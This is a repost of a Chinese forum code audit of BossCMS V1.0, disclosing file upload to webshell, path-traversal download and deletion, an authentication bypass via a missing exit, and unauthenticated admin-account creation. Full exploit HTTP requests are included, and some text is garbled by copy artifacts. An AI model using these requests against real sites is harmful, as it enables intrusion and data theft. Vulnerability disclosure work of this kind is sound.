安全矩阵

 找回密码
 立即注册
搜索
查看: 3191|回复: 0

某CMSV1.0代码审计

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-2-7 14:54:24 | 显示全部楼层 |阅读模式
本帖最后由 littlebird 于 2022-2-7 17:09 编辑

转载自微信,某CMSV1.0代码审计

0X01 前言

文章先发于先知社区BossCMSV1.0代码审计
以下漏洞均已提交CNVD并被收录

0X02 后台任意文件上传

在后台安全设置处添加允许上传类型.php
然后通过ueditor的附件上传即可上传php木马文件getshell
确定位置
先随意找到上传点,然后抓包上传


修改后缀名发送后得到报错信息
  1. {"state":"该文件扩展名不允许上传!"}
复制代码

审计源码
通过报错信息定位到源码在
/system/basic/class/upload.class.php下


else为结果,那么在if处打上断点

上传php文件开始调试


发现两个条件都不满足
  1. php后缀名不在$extension中
  2. !t y p e ! = t r u e 也 就 是 type!=true也就是type!=true也就是type不为null
复制代码

第一个条件
首先解决第一个问题,在文件29行处可以看到$extension变量值的获取


那么全局搜索upload_extension,发现他在/system/admin/theme/default/safe.php中获取


根据路由规则访问
  1. http://bosscms/admin/#safe
复制代码

存在允许上传类型,那么直接添加.php然后保存,回到源码继续上传.php调试

可以看出这时候$extension数组中多了一个值即.php,成功满足第一个要求
第二个条件
要让!t y p e ! = t r u e , 也 就 是 让 type!=true,也就是让type!=true,也就是让type=null即可,也就是执行到函数的35行

这里需要满足$ext(.php) 在 a r r 数 组 中 , 那 么 继 续 看 arr 数组中,那么继续看arr数组中,那么继续看arr数组是从
  1. $G['extension'][$t]中获取的
复制代码
这里的$t值是photo,获取到的arr为
  1. ".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"
复制代码

全局搜索得到system/basic/json/extension.json

在code键值中看到了我们想要上传的.php


所以的我们的$t应该为code,再回到upload.class.php

t 是 遍 历 t是遍历t是遍历arrary获得的,而a r r a y 是 分 割 array是分割array是分割type获得的,可以看到files函数调用时$type默认值是null,那么就是调用时指定code值
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
跟踪函数,定位到
/system/extend/ueditor/php/ueditor.class.php中第246行,调用files函数并且指定了code值
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
成功解决了第二个条件
测试上传
很明显漏洞存在于ueditor编辑器的附件上传处
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
选择PHP木马文件
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
上传成功
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
点击确认后右键打开新链接获得路径
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
成功getshell
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
0X03 后台任意文件下载

后台构造url可以进行任意文件下载

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
确定位置
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
定位到/system/admin/safe/backup.class.php
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
可以看到没有任何过滤,直接通过传值然后下载文件,get传参id值为文件名且可以穿越

审计源码
全局搜索call_user_func最后在
/system/basic/class/into.class.php的load_class函数中找到可以利用的方法load_class
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
然后就是找调用链
在/admin/index.php开始
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
再到/system/enter.php
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
/system/basic/class/into.class.php
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
在执行load_class函数,存在func值成功调用download方法
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
m o l d 和 mold和mold和part用来拼接文件然后包含一次,然后new 一个p a r t 对 象 然 后 检 查 是 对 象 中 是 否 存 在 part对象然后检查是对象中是否存在part对象然后检查是对象中是否存在func函数,存在即调用
所以可以构造url

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
在load_class方法打上断点然后访问
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
成功调用download,参数获取正确
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
下载文件成功
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
且此CMS的数据库信息写在固定文件
/system/basic/ini/mysql.ini.php
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
可以配合进行敏感信息泄露
0X04 后台任意文件删除

确定位置
定位到/system/admin/safe/backup.class.php
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
还是没有任何过滤,get传参id值为文件名然后调用delete进行删除
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
使用之前的利用链,先在站点根目录新建test.txt
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
然后根据规则(post:url,get:id)构造请求包
/system/admin/safe/backup.class.php文件中的delete方法

  1. POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
  2. Host: bosscms
  3. Content-Length: 135
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://bosscms
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close

  14. ------WebKitFormBoundaryYe2EcUgaamtd4Xnh
  15. Content-Disposition: form-data; name="url"

  16. 1
  17. ------WebKitFormBoundaryYe2EcUgaamtd4Xnh--
复制代码


成功删除文件
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
0X05 后未授权扩大危害

未授权任意文件下载和删除
对用户是否登录的验证在
system/basic/class/admin.class.php文件init函数中
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
当判断未登录时通过header进行页面跳转,但是没有exit()或者die()终止程序运行
所以还是能够得到自己的结果后才跳转(这一点可以在BP中体现)
在未登录状态下
先执行删除,成功执行得到结果
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
然后才会重定向到登录页面
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
任意文件下载也是同理,在BP中即可看到跳转前结果
0X06 未授权任意文件上传

通过未授权将之前后台任意文件上传攻击面扩大
文件上传未授权
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
修改上传配置点未授权
找到可利用的函数
/system/admin/safe/safe.class.php文件中的add函数,参数可控
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
还是之间的链,根据代码构造请求,在post请求中upload_extension数组里添加.php键值
  1. POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
  2. Host: bosscms
  3. Content-Length: 200
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://bosscms
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9
  12. Connection: close

  13. ------WebKitFormBoundaryvwjLJGiYAdfklq31
  14. Content-Disposition: form-data; name="upfile"; filename="test.php"
  15. Content-Type: image/png

  16. <?php phpinfo();?>
  17. ------WebKitFormBoundaryvwjLJGiYAdfklq31--
复制代码


修改上传配置点未授权

找到可利用的函数
/system/admin/safe/safe.class.php文件中的add函数,参数可控


还是之间的链,根据代码构造请求,在post请求中upload_extension数组里添加.php键值
  1. POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
  2. Host: bosscms
  3. Content-Length: 987
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://bosscms
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close

  14. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  15. Content-Disposition: form-data; name="admin_folder"

  16. admin
  17. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  18. Content-Disposition: form-data; name="admin_login_captcha"

  19. 1
  20. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  21. Content-Disposition: form-data; name="admin_logout_time"

  22. 28888
  23. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  24. Content-Disposition: form-data; name="page_cache_time"

  25. 0
  26. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  27. Content-Disposition: form-data; name="upload_rename"

  28. 1
  29. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  30. Content-Disposition: form-data; name="upload_maxsize"

  31. 2
  32. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  33. Content-Disposition: form-data; name="upload_extension"

  34. [".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]
  35. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I
  36. Content-Disposition: form-data; name="ueditor_catchimage"

  37. 0
  38. ------WebKitFormBoundaryLNKwhkxPkcJiHO5I--
复制代码



成功未授权修改配置
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
修改配置之后可以未授权任意文件上传了
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
成功访问执行
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
未授权用户操作
用户操作相对于来说也算敏感操作,就顺带写了
确定位置
定位到/system/admin/manager/manager.class.php
其中的add,edit,delete三个函数参数都是由请求获得的(可控的)
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
根据规则构造请求包,以下为关键点  
  1. mold=manager&part=manager&func=add
  2. /system/admin/manager/manager.class.php中的add函数

  3. POST传参
  4. username-用户名
  5. password-密码
  6. password-确认密码
  7. level-权限 (2为系统管理员)
复制代码
请求包

  1. POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
  2. Host: bosscms
  3. Content-Length: 1959
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://bosscms
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close

  14. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  15. Content-Disposition: form-data; name="username"

  16. 123
  17. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  18. Content-Disposition: form-data; name="password"

  19. 123
  20. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  21. Content-Disposition: form-data; name="passwords"

  22. 123
  23. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  24. Content-Disposition: form-data; name="level"

  25. 2
  26. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  27. Content-Disposition: form-data; name="department"


  28. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  29. Content-Disposition: form-data; name="open"

  30. 1
  31. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  32. Content-Disposition: form-data; name="permit1"


  33. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  34. Content-Disposition: form-data; name="permit2"

  35. ["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
  36. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  37. Content-Disposition: form-data; name="permit3"

  38. ["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
  39. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  40. Content-Disposition: form-data; name="permit4"


  41. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  42. Content-Disposition: form-data; name="image"


  43. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  44. Content-Disposition: form-data; name="alias"


  45. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  46. Content-Disposition: form-data; name="email"


  47. ------WebKitFormBoundaryB067fgIWBKtHI4Gy
  48. Content-Disposition: form-data; name="phone"


  49. ------WebKitFormBoundaryB067fgIWBKtHI4Gy--
复制代码


成功添加管理员用户
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
成功登录,且为管理员权限
file:///C:/Users/凤/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png
0X07 后记

都是一些简单常见的漏洞点,主要还是一个跳转之后未及时结束程序导致访问控制体系崩塌,后台变前台。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 23:55 , Processed in 0.013585 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表